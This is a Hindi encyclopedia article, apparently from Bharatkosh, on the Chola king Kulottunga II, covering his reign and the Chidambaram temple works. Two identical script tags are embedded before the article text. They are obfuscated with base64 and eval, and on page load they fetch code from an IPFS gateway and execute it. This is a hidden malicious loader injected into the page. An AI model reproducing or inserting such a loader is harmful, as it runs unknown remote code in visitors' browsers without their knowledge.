कुलोत्तुंग द्वितीय

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कुलोत्तुंग द्वितीय (११३३-११५० ई.) कुलोत्तुंग (प्रथम) और विक्रम चोल का पुत्र। इसका शासनकाल राजनीतिक दृष्टि से पूर्णत: शांति का था। इसकी ऐतिहासिक ख्याति अन्य कारण से है। इसके पिता विक्रम चोल ने चिदंबरम्‌ के सुविख्यात मंदिर के नवीनीकरण और विस्तार का कार्य आरंभ किया था। उसे इसने पूरा किया। इस क्रम में नटराज के मंदिर के आँगन में गोविंदराज की जो मूर्ति प्रतिष्ठित थी, उसे निकलवा कर समुद्र में फेंकवा दिया। कहा जाता है कि रामानुज ने इस मूर्ति को समुद्र में से निकलवाकर तिरुपति में प्रतिष्ठित किया था। बहुत दिनों बाद विजयनगर के रामराय ने उस मूर्ति को अपने मूल स्थान पर पुन: प्रतिष्ठित किया।

टीका टिप्पणी और संदर्भ